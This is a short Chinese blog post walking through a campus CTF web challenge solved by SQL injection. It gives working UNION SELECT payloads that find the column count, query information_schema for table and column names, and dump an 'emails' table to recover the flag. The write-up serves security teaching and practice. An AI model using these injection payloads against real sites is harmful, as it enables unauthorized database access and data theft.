西安理工大学网络安全小组第一次校赛web-sql

我们首先发现是一个sql注入,注入点在id

然后判断是字符型还是数字型

?id=1 and 1=1 无变化

 

 

?id=1 and 1=2 网页有变化,说明是数字型

 

 

接下来需要知道有几列,使用order by 进行查询,发现当为3时网页正常,说明有三列

 

 下来看是否有回显,有回显,则可以使用联合查询(union select),如果无回显使用盲注(布尔盲注,时间盲注)

 

?id=-1 union select 9,8,7  发现有回显位置,那么我们可以查询数据库(database())和版本信息(version())

 

 数据库名ctf

接下来我们就查询,有哪些表

?id=-1 union select 9,version(),group_concat(table_name) from information_schema.tables where table_schema='ctf'或者

?id=-1 union select 9,version(),group_concat(table_name) from information_schema.tables where table_schema=database()

 

 经过查询发现有三张表,现在查询每一张表里面的列名

?id=-1 union select 9,version(),group_concat(column_name) from information_schema.columns where table_name='emails'

 

 发现有两列,列名为email_id和id,下来我们查询具体每一列里面的内容

?id=-1 union select 9,version(),group_concat(email_id,id) from emails

 

 我们发现,查询的内容里面有flag,到此结束。

 

posted @ 2021-10-24 23:48  中毒219  阅读(67)  评论(0编辑  收藏  举报